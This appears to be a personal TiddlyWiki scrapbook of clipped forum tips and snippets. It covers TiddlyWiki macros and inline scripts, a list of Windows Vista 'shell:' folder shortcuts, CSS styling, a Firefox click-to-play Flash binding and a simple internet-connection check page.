a separate JPG file with "thumb_" as a prefix on the filename.
Further suppose that we want to create a 'gallery' of thumbnails, each
with a click-through link to the full-sized image and a small caption
beneath, to make it easy to review these photos.
{{{
First create a tiddler containing the desired formatting for a single
'linked thumbnail with caption' display, e.g., [[ThumbThing]]:

   [img[images/thumb_$1.jpg][images/$2.jpg]]
   $3

Then, create another tiddler called [[ImageGallery]] containing
something like:
   <<tiddler ThumbThing with: photo1 "some words here">>
   <<tiddler ThumbThing with: photo2 "other words here">>
   <<tiddler ThumbThing with: photo3 "blah blah blah...">>
   ...etc.

That's it.  Opening the [[ImageGallery]] tiddler automatically renders
[[ThumbThing]] multiple times, using a different photo filename each
time to produce a combined display of all thumbnails, complete with
captions, ready for quick review and click-through to the full-sized
photos (as external links directly to the JPG files).
}}}
enjoy,
-e
Eric Shulman 

Source: [[useful tricks without specific plugins or macros - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/5062cff4bb9ad161]]
> Would sections give me access to the TSV's?

You can enclose a section definition within TW comment markers, like this:

{{{
/%
!SectionName
1,2,3,4...
5,6,7,8...
etc.
!end SectionName
%/
}}}
Although the section content will not be rendered (because it is
inside a comment), it *is* still available for use in a section
reference from another tiddler.  The trailing "!end..." syntax ensures
that the closing comment marker is not included as part of the section
content.

Note that, because the entire section is enclosed in a comment, you
cannot also use TW comments within the section content itself (because
the comment syntax does not 'nest').

As an alternative approach, you could *hide* the section definition by
wrapping it in some CSS, like this:
{{{
   @@display:none;
   !SectionName
   content
   !end SectionName
   @@
OR
   {{hidden{
   !SectionName
   content
   !end SectionName
   }}}
}}}
(where 'hidden' is a custom CSS class... see
TiddlyTools#StyleSheetShortcuts)

However, unlike comment-wrapped section definitions, hidden sections
are still *rendered*, even though they are not visible.  This might
increase the display overhead when viewing that tiddler, but shouldn't
normally cause any problems, unless the hidden section content invokes
some macros that produce side effects.

Once you have defined a commented/hidden section, you can, of course,
display that content by transcluding it using <<tiddler
TiddlerName##SectionName>>.  Because the surrounding comment markers
(or CSS syntax) are *not* part of the section content itself, the
content renders as normal when transcluded, even though it is
commented/hidden in the 'source' tiddler that defines it.

For your specific purposes, where the section content is just TSV (tab-
separated values) data, simple transclusion is obviously not
sufficient.  You will also need some code that reads the TSV data and
converts that content into a TW table (by replacing the tabs with "|"
and the newlines with "|\n|").  To do this, you can use
InlineJavascriptPlugin to write a script like this:
{{{
<script>
   var out=store.getTiddlerText("TiddlerName##SectionName"); if (!out)
return;
   out=out.replace(/\t/g,"|");
   out=out.split("\n").join("|\n|");
   out="|"+out+"|\n";
   return out;
</script>
}}}
The result is that input like this:
   1,2,3
   4,5,6
   7,8
becomes
   |1|2|3|
   |4|5|6|
   |7|8|
(i.e., a TW table... QED)

Note: you can write the above even more compactly:
{{{
<script>
   var out=store.getTiddlerText("TiddlerName##SectionName"); if (!out)
return;
   return "|"+out.replace(/\t/g,"|").split("\n").join("|\n|")+"|\n";
</script>
}}}




enjoy,
-e 

Source: [[Using Tiddler Sections - TiddlyWiki : Google Groups (Proxomitron)|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/d9afc55b532d9f49]]
<script>
function dayofyear(d) {   // d is a Date object
var yn = d.getFullYear();
var mn = d.getMonth();
var dn = d.getDate();
var d1 = new Date(yn,0,1,12,0,0); // noon on Jan. 1
var d2 = new Date(yn,mn,dn,12,0,0); // noon on input date
var ddiff = Math.round((d2-d1)/864e5);
return ddiff+1; }

var curdate=new Date(); // gets today's date
var cdnum=dayofyear(curdate);
        var tiddlers=store.getTiddlers("modified");
        var last=tiddlers[tiddlers.length-1];
        var when=last.modified.formatString("YY0hh0mm0ss");
        return "Sidebar Notes Ver:  "+cdnum+when
</script> 
{{liststyleimagenone{
<script>
// get all tiddlers tagged with "tscategory"
var tids=store.getTaggedTiddlers("tscategory");
// keep only tiddlers *also* tagged with ?
var list=[];
for (var t=0; t<tids.length; t++)
   if (tids[t].isTagged("tscategory")) list.push(tids[t]);
// create output list of tiddler titles, one per line
var out="";
for (var t=0; t<list.length; t++) out+="*[["+list[t].title+"]]\n";
return out;
</script>
}}}
<<tabs "txtStayViewTabs" [[Timeline ]] "" [[Timeline]]   [[AllNotes ]] "" [[AllNotes]]  [[AllSnips ]] " " [[AllSnips]] [[AllTabs ]] "" [[AllTabs]]  [[BasicTabs ]] " " [[BasicTabs]]  [[Directory ]] "" [[Directory]] [[Find]] "" [[Find]]  [[Plugins ]] "" [[Plugins]]  [[Shadowed ]] "" [[SystemTabs]]  [[Styling ]] "" [[Styling]]  [[SideBarOptions ]] "" [[SideBarOptions]]  [[Excluded ]] "" [[Excluded]]  [[Script ]] "" [[Script]]  [[SideBarTabs ]] "" [[SideBarTabs]] [[Tags ]] "" [[Tags]]>>
<div class='toolbar' macro='toolbar -closeTiddler closeOthers closeAll +editTiddler permalink references newDocument '></div>
<div class='title' macro='view title'></div>
<div class='viewer' macro='view text wikified'></div></div>
<div class='viewer' macro='notes heading:"Notes" tag:"excludeLists allnotes" suffix:"Comments"'></div><div class='toolbar' style='line-height:100%;margin-top:.5em;'><a href="javascript:;"
	onclick="window.scrollTo(0,ensureVisible(story.findContainingTiddler(this)));return false;"
	onmouseover="this.title='scroll to top of '+story.findContainingTiddler(this).getAttribute('tiddler')">&#x25b2;</a>
</div>
!VistaList
{{liststyleimagenone underlineLink {
<<tiddlerList tags:vista order:-created top:100 itemTemplate:"''__%created__''\n%link\n%abstract\n----\n">>
}}}
Complete List of Shell Commands :
''INFO:'' The Shell command enables you to quickly open a hard to find folder or object.
''NOTE:'' When it opens the folder, you can then create a shortcut to it easily.

Here's how to use them:
1. Open the Start Menu.
2. In the white line (Start Search) area, type one of the Shell commands listed below in bold and press Enter. 

* ''shell:AddNewProgramsFolder'' - Opens the Install a program from the network location.
* ''shell:Administrative Tools'' - Opens the Administrative Tools section of the Control Panel.
* ''shell:AppData'' - Opens the hidden location C:\Users\(your username)\AppData\Roaming
* ''shell:AppUpdatesFolder'' - Opens the Installed Windows Updates location in Program and Files.
* ''shell:Cache'' - Opens Internet Explorer’s temporary internet files folder.
* ''shell:CD Burning'' - Opens the location where files are stored temporarily before Windows Vista burns them.
* ''shell:ChangeRemoveProgramsFolder'' - Opens Programs and Features in the Control Panel.
* ''shell:Common Administrative Tools'' - Opens the Administrative Tools section of the Control Panel.
* ''shell:Common AppData'' - Opens the hidden location C:\ProgramData
* ''shell:Common Desktop'' - Opens the Public Users Desktop folder location. C:\Users\Public\Desktop
* ''shell:Common Documents'' - Opens the Public Users Documents folder location. C:\Users\Public\Documents
* ''shell:Common Programs'' - Opens the Start menu shortcuts location.
* ''shell:Common Start Menu'' - Opens the location of the shortcut links in your Start Menu.
* ''shell:Common Startup'' - Opens the location where shortcuts to programs that are set to start when Vista boots up are saved.
* ''shell:Common Templates'' - Opens C:\ProgramData\Microsoft\Windows\Templates
* ''shell:CommonDownloads'' - Opens the Public Users Downloads folder location. C:\Users\Public\Downloads
* ''shell:CommonMusic'' - Opens the Public Users Music folder location. C:\Users\Public\Music
* ''shell:CommonPictures'' - Opens the Public Users Pictures folder location. C:\Users\Public\Pictures
* ''shell:CommonVideo'' - Opens the Public Users Video folder location. C:\Users\Public\Videos
* ''shell:ConflictFolder'' - Opens the Sync Center Conflicts location.
* ''shell:ConnectionsFolder'' - Quickly open Network Connections.
* ''shell:Contacts'' - Opens your username's Contacts folder location.
* ''shell:ControlPanelFolder'' - Opens the Control Panel.
* ''shell:Cookies'' - Opens one of the folders where Internet Explorer saves cookies.
* ''shell:Cookies\Low'' - Opens the other folder where Internet Explorer saves cookies.
* ''shell:CredentialManager'' - Opens the hidden C:\Users\(your username)\AppData\Roaming\  Microsoft\Credentials
* ''shell:CryptoKeys'' - Opens the hidden C:\Users\(your username)\AppData\Roaming\Microsoft\Crypto
* ''shell:CSCFolder''
* ''shell:default Gadgets'' - Opens the default Windows Sidebar Gadgets location.
* ''shell:desktop'' - Opens your personal username's Desktop folder location.
* ''shell:downloads'' - Opens your personal username's Downloads folder location.
* ''shell:dpapiKeys'' - Opens the hidden C:\Users\(your username)\AppData\Roaming\Microsoft\Protect
* ''shell:Favorites'' - Opens your personal username's Favorites folder location.
* ''shell:Fonts'' - Opens Vista's Fonts folder location.
* ''shell:Gadgets'' - Opens your user account's Windows Sidebar Gadgets that you saved location.
* ''shell:Games'' - Opens the Games folder from the left Start menu button location.
* ''shell:GameTasks'' - Opens the hidden C:\Users\(your username)\AppData\Local\Microsoft\Windows\GameExplorer
* ''shell:History'' - Opens Internet Explorer’s history of websites visited.
* ''shell:InternetFolder'' Opens the 32 bit Internet Explorer.
* ''shell:Links'' - Opens your personal username's Links folder location.
* ''shell:Local AppData'' Opens the hidden C:\Users\(your username)\AppData\Local
* ''shell:LocalAppDataLow'' - Opend the hidden C:\Users\(your username)\AppData\LocalLow
* ''shell:LocalizedResourcesDir''
* ''shell:MAPIFolder''
* ''shell:My Music'' - Opens your personal username's Music folder location.
* ''shell:My Pictures'' - Opens your personal username's Pictures folder location.
* ''shell:My Video'' - Opens your personal username's Video folder location.
* ''shell:MyComputerFolder'' - Opens Computer window.
* ''shell:NetHood'' - Opens Network Shortcuts folder location.
* ''shell:NetworkPlacesFolder'' - Opens the Network Places location.
* ''shell:OEM Links'' - Opens the links placed on your computer by your computer manufacturer location.
* ''shell:Original Images'' - Opens Windows Photo Gallery Original Images folder location.
* ''shell:Personal'' - Opens your personal username's Documents folder location.
* ''shell:PhotoAlbums'' - Opens the Slide Show folder location for your username's Pictures folder.
* ''shell:Playlists'' - Opens the Playlists folder location for your username's Music folder.
* ''shell:PrintersFolder'' - Opens Printers in the Control Panel.
* ''shell:PrintHood'' - Opens the Printer Shortcuts location.
* ''shell:Profile'' - Opens your main username folder location.
* ''shell:ProgramFiles'' - Opens the Program Files folder.
* ''shell:ProgramFilesCommon'' - Opens the Common Files folder in Program Files.
* ''shell:ProgramFilesCommonX86'' - Opens the Common Files folder in Program Files (x86).
* ''shell:ProgramFilesX86'' - Opens the Program Files (x86) folder.
* ''shell:Programs'' - Opens the Start menu's Programs shortcuts location.
* ''shell:Public'' - Opens the Public User folder.
* ''shell:PublicGameTasks'' - Opens C:\ProgramData\Microsoft\Windows\GameExplorer
* ''shell:Quick Launch'' - Opens the Quick Launch shortcuts folder location.
* ''shell:Recent'' - Opens Recent Items location.
* ''shell:RecycleBinFolder'' - Opens the Recycle Bin folder.
* ''shell:ResourceDir'' - Opens Vista's Resources folder location.
* ''shell:SampleMusic'' - Opens the Sample Music folder in the Public Users folder.
* ''shell:SamplePictures'' - Opens the Sample Pictures folder in the Public Users folder.
* ''shell:SamplePlaylists'' - Opens the Sample Playlist folder in the Public Users folder.
* ''shell:SampleVideos'' - Opens the Sample Videos folder in the Public Users folder.
* ''shell:SavedGames'' - Opens your personal username's Saved Games folder location.
* ''shell:Searches'' - Opens your personal username's Searches folder location.
* ''shell:SendTo'' - Opens the Context menu's SendTo folder location.
* ''shell:Start Menu'' - Opens the location of the shortcut links in your Start Menu.
* ''shell:Startup'' - Opens the location where shortcuts to programs that are set to start when Vista boots up are saved.
* ''shell:SyncCenterFolder'' - Opens Sync Center from the Control Panel.
* ''shell:SyncResultsFolder'' - Opens the Sync Results for the Sync Center.
* ''shell:SyncSetupFolder'' - Open the Setup new sync partnerships in the Sync Center.
* ''shell:System'' - Opens the System32 folder location.
* ''shell:SystemCertificates'' - Opens the SystemCertificates folder location.
* ''shell:SystemX86'' - Opens the SysWowxx folder location.
* ''shell:Templates'' - Opens the Templates folder location.
* ''shell:TreePropertiesFolder''
* ''shell:UserProfiles'' - Opens the "C:\Users" location.
* ''shell:UsersFilesFolder'' - Opens your main username folder location.
* ''shell:Windows'' - Opens the "C:\Windows" location.
Windows Media Player Scripting Test

This discusses simple cross-browser scriting of Windows Media Player, in IE and Firefox. It depends on Firefox having the new Windows Media Player plugin installed, which unlike the previous WMP plugin, supports scripting. The plugin requires Windows XP or higher, so this will not work in earlier versions of Windows. The new plugin's installer specifically targets Firefox - it is not known if the plugin works in other browsers such as Opera yet - if it does, this method may work in those other browsers as well.

Source: [[WMP Scripting Test|http://homepage.ntlworld.com/vectorspace/wmp/testnewplug.htm]]
One very annoying unexpected event is the way the title of TiddlySnips
from Google Groups is handled by TiddlyWiki.

Example from recent post:
"Upgrade fail from 2.3.0 to 2.4.0 - TiddlyWiki | Google Groups" 

*''A must! Edit out the vertical bar from the title in the ~TiddlySnip Preview window before saving.''

As you can see there is a vertical bar (pipe) in the title.  If this is edited out after saving in the ~TiddlyWiki  it is half recognised as a pretty link but not completely; or rather two halves of a tiddler title I should say for want of a better way to explain it.

If you do a javascript search by tags - the first half of the title is
returned as a non- existent tiddler title "Upgrade fail from 2.3.0 to
2.4.0 - TiddlyWiki".

Amazingly when clicked on that tiddler title doesn't come up as a non-
existent tiddler but returns yet another non-existent tiddler called
"Google Groups". Neither of these tiddlers can be deleted and the only
way I've found to get rid of them is to view source and correct the
title.
/***
!!!<<gradient horiz #fc3 #fff >><<tiddler RefreshStyles>>&nbsp;WebStyleSheet>>/%==================================================%/
***/

.firstletter{
float:left;
width:0.75em;
font-size:400%;
font-family:times,courier;
line-height:80%;
}

div.container
{
height:100%;
width:100%;
margin:0px;
border:1px solid gray;
background:;
line-height:130%;
}
div.header
{
padding:0.5em;
color:white;
background-color:gray;
clear:left;
}
div.footer
{
padding:0.5em;
color:blue;
background-color:#fdf;
clear:left;
}

h1.header
{
padding:0;
margin:0;
}
div.left
{
background:#ddd;
float:left;
width:30%;
margin:0;
padding:1em;
}

div.content
{
background:#ccc;
margin-left:300px;
border-left:1px solid gray;
padding:1em;
}

!!!~EndWebPage /%==================================================%/
How to use userContent.css with: Firefox/Mozilla/Camino/Netscape
You need to place the userContent.css file in the chrome directory of your browser user profile.  The different browsers store your profile in slightly different places.  For macos X, the profile chrome directory locations are:

Source: [[Ad Blocking for Mozilla, Netscape 7, and Safari|http://www.floppymoose.com/]]
This HowTo is a tutorial on migrating (or moving) MPTW from Tiddlyspot to your own website and should help clarify and/or expand upon BidiX's instructions.

Source: [[WikiParade - a little something-something about a reusable non-linear personal web notebook|http://wikiparade.tiddlyspot.com/#MovingServers]]
>{{{ <<wikify "[[Google|http://www.google.com/search?hl=en&q=
> %0]]" {{tiddler.title.replace(/[\&]/g,"")}}>>}}}

Nice usage! The resulting link will automatically invoke a Google
search using the current tiddler title as the search keyword.  That
could be *very* useful, depending upon how your tiddlers are named...

> The %0 should have been replaced with the tiddler's title, but it is
> just blank (i.e. the resulting url is "http://www.google.com/search?
> hl=en&q=").
> I've created previous TW files before where this had worked just fine.

... and it should have worked this time too... except: about a week
ago I inadvertently introduced an unnoticed two-byte change into
WikifyPlugin as a result of some overzealous global search-and-replace
editing using an external editor... it's been fixed, and the
{{tiddler.title}} macro param should now work just as you had
expected.

Get the repaired plugin  (v1.1.2)  here:
   http://www.TiddlyTools.com/#WikifyPlugin

Note: in order to get the correct value from {{tiddler.title}}, you
need CoreTweaks #444, so you were right to install that plugin as
well. 

Source: [[WikifyPlugin & tiddler.title - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/860b654fadd7347f]]
[[Windows Explorer - Folder Type Templates - Vista Forums|http://www.vistax64.com/tutorials/77444-windows-explorer-folder-type-templates.html]]
[[Windows Explorer Folder View settings - Vista Forums|http://www.vistax64.com/tutorials/70819-windows-explorer-folder-view-settings.html]]
[[Windows Media Player 11: Setting Default File Types Through The Control Panel (Vista) - GROK Knowledge Base|http://grok.lsu.edu/Article.aspx?articleId=6148]]
Administrative Tools is a folder in Control Panel that contains tools for system administrators and advanced users. The tools in the folder might vary depending on which version of Windows you are using.

Many of the tools in this folder, such as Computer Management, are Microsoft Management Console (MMC) snap-ins that include their own help topics. To view specific help for an MMC tool, or to search for an MMC snap-in that you do not see in the following list, open the tool, click the Help menu, and then click Help Topics.
	
	
•	

Open Administrative Tools by clicking the Start button Picture of the Start button, clicking Control Panel, clicking System and Maintenance, and then clicking Administrative Tools.

Source: [[Windows Vista Help: What are Administrative Tools?|http://windowshelp.microsoft.com/Windows/en-US/help/1a8df084-bd58-4c60-8b62-c5bc3e08a09b1033.mspx]]
[[Windows Vista OS - Audacity Wiki|http://audacityteam.org/wiki/index.php?title=Windows_Vista_OS]]
Windows Vista Recovery Disc Download

Source: [[Windows Vista Recovery Disc Download — The NeoSmart Files|http://neosmart.net/blog/2008/windows-vista-recovery-disc-download/]]
[[Work Tracker - mens sana in corpore sano|http://no-sin.com/wiki/WorkTracker.html]]
[[WorldPay - Internet Payment Solutions for Credit and Debit Card Processing by the World's Leading Payment Service Provider.|http://www.worldpay.com/]]
[[The differences between XP and Vista folder locations - Simplehelp|http://www.simplehelp.net/2008/04/30/the-differences-between-xp-and-vista-folder-locations/]]
YourEquations.com
Display Equations on World Wide Web
by Waipot Ngamsaad
Last updated 10/29/2008 15:06:58

jsTeXrender is a small JavaScript program which will convert LaTeX code inside pre or code tags to
high-quality images produced by LaTeX typesetting system.
(more...) 

Source: [[YourEquations.com - Display Equations on World Wide Web|http://doc.yourequations.com/index.html#about]]
[[hideIfshowIf plugin]] allows for conditional display of text in a tiddler.
See the following examples:

!!~ReadOnly / ~ReadWrite

| Markup | Visible |h
|{{{<<showIf readOnly>> &#x2713; <<endIf>>}}}| <<showIf readOnly>> &#x2713; <<endIf>> |
|{{{<<showIf readWrite>> &#x2713; <<endIf>>}}}| <<showIf readWrite>> &#x2713; <<endIf>> |

| Markup | Visible |h
|{{{<<hideIf readOnly>> &#x2713; <<endIf>>}}}| <<hideIf readOnly>> &#x2713; <<endIf>> |
|{{{<<hideIf readWrite>> &#x2713; <<endIf>>}}}| <<hideIf readWrite>> &#x2713; <<endIf>> |


Source: [[n00b@work - |http://rgplugins.tiddlyspot.com/#%5B%5BhideIfshowIf%20plugin%5D%5D]]
And then, how to get to an A-Z set of tabs based on the author values?

(The .toLowerCase() method for case-insensitive comparison is optional.)

In order to automatically generate that list for each letter of the
basic Latin alphabet, I've used the InlineTabsPlugin[2] and came up with
the following script (requires InlineJavascriptPlugin[3]):
{{{
---------------
<script>
var FETScriptPre = '<<forEachTiddler\n'
   + 'where [[store.getValue(tiddler, "author") && '
   + 'store.getValue(tiddler, "author").substr(0, 1).toLowerCase() == "'
var FETScriptPost = '"]]\n'
   + 'write \'"* [[" + tiddler.title + "]]\\n"\'\n'
   + '>>\n'
var c;
var output = "<tabs authorsIndex>\n";
for(var i = 0; i < 26; i++) {
   c = String.fromCharCode(i + 97);
   output += "<tab " + c + ">\n";
   output += FETScriptPre + c + FETScriptPost;
   output += "</tab>\n";
}

output += "</tabs>";
wikify(output, place);
</script>
---------------
}}}
[1] http://tiddlywiki.abego-software.de/#ForEachTiddlerPlugin
[2] http://tw.lewcid.org/sandbox/#InlineTabsPlugin
[3] http://www.tiddlytools.com/#InlineJavascriptPlugin 

It's not pretty (mostly due to the nested quotes of the FET macro call),
but it seems to work.

HTH. 

Source: [[a-z tabs from custom author field - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/6f576fa047a9c1ef/16fb83929d97d4ed#16fb83929d97d4ed]]
Type about:plugins into the address bar. This will display Firefox's plugin information. If the following entries are present, then WMP is installed correctly:

Source: [[Step-By-Step Guide: Embedded Windows Media in Firefox • mozillaZine Forums|http://forums.mozillazine.org/viewtopic.php?t=206213]]
but most people learn by looking at other people's plugins - e.g. my  
example which introduces the jProcessing library in the  
ProcessingjsPlugin:

     http://whatfettle.com/2008/05/TiddlyProcessing/ 

Source: [[adding another js library - TiddlyWikiDev : Google Groups|http://groups.google.com/group/TiddlyWikiDev/browse_thread/thread/d7ff70a25afa77cc]]
all be it
It should not be broken up into three separate words as “all be it,” just as “although” is not broken up into “all though

Source: [[all be it - Google Search|http://www.google.com.au/search?q=all+be+it&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a]]
Hi all,

I've got an announcement, some rhetorical questions, and a couple of
REAL questions I'd love to hear answers to.  If you get bored, please
scroll to the end where I ask 'em.

The Announcement:
================

Imagine if you could just download and unzip some PHP files, and
instantly have a tiddlyspot-type server running behind your corporate
firewall, on your school server, or just on the Mac Mini in the back
of your broom cupboard.

That's the goal of a new project that we kicked off a couple of weeks ago.

I've tried to anticipate some questions below...

Q> What's tiddlyspot anyway?

Simon and I have run a free TiddlyWiki host at tiddlyspot.com for
several years.  Tiddlyspot makes it really easy to create and save
TiddlyWikis to the web, using BidiX's UploadPlugin and a smattering of
sweet, sweet Ruby goodness.  Try it out at http://tiddlyspot.com if
you want to see how it works.

Q> *We* kicked off a project?  Who's *we*?

Well, Simon and I have wanted to clean up and open source tiddlyspot's
server code for a while, but haven't really had time.  Then recently
friend and colleague Robert (known locally as The Amazing Rob)
mentioned that he was looking for an open source project to get into.
Sha-bam!

Q> Why PHP?

Much as we love Ruby, we figure it's still a little dicey getting Ruby
code to work on free and low cost web hosts.  PHP on the other hand
seems to be supported everywhere, and it's a major goal to make the
thing install and run with a minimum of messing about.  So PHP it is.

Q> Easy-to-deploy huh.  Any other "major" goals?

- Easy to deploy.  Ideally setup-free -- unzip, then browse there.
- Easy to understand.  TW goes in, TW goes out.  I'd love to fix the
simultaneous edit problem, that's pretty confusing.  Might be out of
scope here though :)
- Easy to create sites.  Like tiddlyspot, or better.  Plus support for
uploading an existing TW.
- Easy to enhance.  We imagine fancy backup arrangements, printable
PDFs for your GTD lists, etc. might all exist as things you can just
dump into the addon directory.
- I can't think of any more, but we'll keep you posted...

Q> What stage is it at?

Early.  Robert has the basic site creation and hosting working.  Still
to come is the selection of site flavour, theming & branding, getting
UploadTiddler working and tested, site and server control panels,
fancy backups, and whatever other stuff comes up.

Q> I've got some time to kill right now.  Got something to look at?

We don't have a working site to fiddle on yet, but the code's here:
http://github.com/brimstone4814/tiddly-speck/tree/master

You don't need git to grab it; just click the 'download' button to get
the source as a zip.  Dump it into an Apache directory and see what
happens when you hit index.html.

Q> What's the volume of a pizza with radius of z, and depth of a?

pi z z a  (an old joke but a good one).

The Questions
=============

There's a few pressing issues I'd love some advice on.

Licencing:
BSD?  GPL?  Maybe LGPL?  I have a vague sense of the difference
between these, but I have no idea what the real ramifications are of
each.  Will GPL get in the way of corporate use, even just
psychologically?  And I'd like to allow some kind of plugin
arrangement that permits non-open source addons.  Any advice?

Naming:
Currently we're calling it TiddlySpeck, but actually I'd love to think
of a name that's not related to tiddlyspot, and maybe doesn't even
include the word "tiddly".  Or is that blasphemous?

I'd love to hear your opinions.  I expect Robert will be along in a
little bit to introduce himself. 

Source: [[an open source version of the tiddlyspot server - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/b0e28aa6a318c7c1#]]
{{{
note that, while http://... and [[something|http://...]] are external
links, [[...]] is *always* treated as an internal tiddler link.  Thus,
[[http://...]] is a link to a tiddler whose title just happens to
*look* like a URI.

As far as section links are concerned, anywhere a tiddler name can
occur you can add "##sectionname", thus, in a URI paramifier:

http://.../filename.html#open:tiddlername##sectioname

Also, *don't* encode the "##" in the URI (i.e., use "#", not %35). 
}}}

Source: [[anchors with SectionLinksPlugin (coreTweak #784) - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/0ae5bca9915c8c6b/9f5ab5fecbfee454#9f5ab5fecbfee454]]
Hi to everyone,
with IconMacro it's possible to use an image as the button for macros:
http://tw.lewcid.org/#IconMacro
However, this macro doesn't work with base64 text-encoded pics.
Is there an other way for this case? 
Source: [[base64 encoded macro buttons? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/29e87aabd2e47fa0]]
> is there a macro or TW Javascript function to easily create a button  
> that's an external link?

You can create a pushbutton that opens a URL using pure HTML syntax.
{{{
<html><input type='button' value='label'
onclick='window.open("URL","_blank")'></html>

...and, if you are doing this more than once, you can use:
   http://www.TiddlyTools.com/#AliasPlugin
to create an "instant macro", like this:

<<alias URLButton [[<html><input type='button' value='%0'
onclick='window.open("%1","_blank")'></html>]]>>

which allows you to easily write:
   <<URLButton "click me!" "http://www.rabbithole.com/">>
}}}
enjoy,
-e 

Source: [[button link - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/934bee6c530a1f20]]
Or create a tiddler tagged 'systemConfig', title it zconfig
(alphabetically last - so it would overwrite the settings of any
plugin loading before it) with the opposite content:
{{{
config.options.chkHttpReadOnly=true;
readOnly=true;
showBackstage=false;
}}}
Regards,

W.

Source: [[Display tiddlers in two columns - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/e2cd7b00f988c4f]]
adopted from: http://www.squarefree.com/userstyles/xbl.html


	<bindings>

	<binding id="ctv">

	<implementation>

	<constructor>
var doomed = this; // Check parent too (case of working EMBED inside broken OBJECT) if (doomed.overrideCTV || doomed.parentNode.overrideCTV) return; doomed.overrideCTV = true; var placeholder = document.createElement("div"); // === Styling === var w = parseInt(doomed.width || doomed.style.width); var h = parseInt(doomed.height || doomed.style.height); if (!w || w < 32) w = 32; // !w catches e.g. NaN if (!h || h < 32) h = 32; placeholder.style.width = w + "px"; placeholder.style.height = h + "px"; placeholder.style.textAlign = "center"; placeholder.style.color = "black"; placeholder.style.background = "white"; placeholder.style.cursor = "pointer"; placeholder.style.overflow = "hidden"; var red = document.createElement("span"); red.style.fontStyle = "italic"; red.appendChild(document.createTextNode("flash")) var text = document.createTextNode(" [[Click to play]]"); placeholder.appendChild(red); placeholder.appendChild(text); placeholder.onmouseover = function() { this.style.MozOutline='3px outset white'; this.style.background='lightgrey' } placeholder.onmouseout = function() { this.style.background='white'; this.style.MozOutline='0px'; } // === Replacement === var p = doomed.parentNode; // Do in a timeout to avoid bugginess setTimeout ( function () { p.insertBefore(placeholder, doomed); p.removeChild(doomed); }, 0); // I love closures placeholder.onclick = function() { p.insertBefore(doomed, placeholder); p.removeChild(placeholder); }
</constructor>
</implementation>
</binding>
</bindings>
}}}
Source: [[|http://www.floppymoose.com/clickToView.xml#ctv]]
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Test For internet connection</title>
<script type="text/javascript">
var xmlhttp
function ConnectToNet(url)
{
xmlhttp=null;
try {
    netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");
   } catch (e) {
    //alert("Permission UniversalBrowserRead denied.");
   }
// code for Mozilla, etc.
if (window.XMLHttpRequest)
  {
  xmlhttp=new XMLHttpRequest()
  }
// code for IE
else if (window.ActiveXObject)
  {
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP")
  }
if (xmlhttp!=null)
  {
  xmlhttp.onreadystatechange=state_Change
  xmlhttp.open("GET",url,true)
  xmlhttp.send(null)
  }
else
  {
  alert("Your browser does not support XMLHTTP.")
  }
}

function state_Change()
{
// if xmlhttp shows "loaded"
if (xmlhttp.readyState==4)
  {
try
{
  // if "OK"    
  if (xmlhttp.status==200)
    {    
    var objDiv = document.getElementById('div1');
    objDiv.innerHTML = "<font color=blue>Internet is connected.</font>";
    alert("Internet is Connected.");
    return;
    }
  else
    {
    alert("Problem retrieving XML data")
    }
}
catch(err)
{
    var objDiv = document.getElementById('div1');    
    objDiv.innerHTML += "<font color=red>Internet is not connected.<br/></font>";
    setTimeout("ConnectToNet('http://www.google.com')",2000);

}
  }
}

setTimeout("ConnectToNet('http://www.google.com')",2000);
</script>
</head>
<body>
This page checks for internect connection after every 20 seconds.
<div id="div1"></div>
</body>
</html>

Source: [[connection status - ASP.NET Forums|http://forums.asp.net/p/1245683/2290759.aspx]]
> Okay, I did get it to work the way it was designed to work - so I
> don't have questions about that, but....

> I was trying to change the script so that the new tiddler had the
> source tiddler's name at the beginning of the new name, e.g.

ok.  interesting suggestion.  I just added a new checkbox:
use source title as prefix   (default is UN-checked for backward-compatibility with current usage)

Get the update here:
   http://www.TiddlyTools.com/#SplitTiddler

> p.s.  You didn't just write this, did you?

I think I first wrote SplitTiddler about a year ago, and it's had a
few refinements and added features since then based on requests (just
like today's update). 

Source: [[convert sections to tiddlers? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/58225faa7dc8fea6#]]
Now I have a new tool for converting lists to links...
I have put it my ViewToolbarCommands ..
It looks like this: 

Source: [[Help to simplyfy a script to do less... - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/805564adeaf12760/a1819df7e00c6245#a1819df7e00c6245]]
display chinese in Firefox browser
Tags: software

    Report as spam Question  -  Post 2 of 3 
Accepted  Select Tools Options click General in the lef...
    Select Tools Options click General in the left column on the right side click the "Languages..." tab  this brings up the "Languages and Character Encoding" dialog box click the down arrow by "Select a language to add..." click the Add button click the down arrow by "Default character encoding" select the desired character set click OK click OK.

Source: [[display chinese in Firefox browser|http://techrepublic.com.com/5208-11192-0.html?forumID=52&threadID=185159&messageID=1892207]]
do you mean height or width? There is no problem to change the length
of the input field, just put these lines in the StyleSheet tiddler:

{{{
.editor textarea      {height:1000px;}

.editor textarea      {height:1000px; width:750px; font-size:90%;}
}}}

Source: [[edit box length - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/4bd5fbd4fa03cfbe]]
> Relatedly, is there a way to make the "edit" button request a password
> before allowing editing?

Try this:
   http://www.TiddlyTools.com/#TiddlerPasswordPlugin 
config.tasks.viewTabs = {
	text: "editA",
	tooltip: "A custom backstage tab",
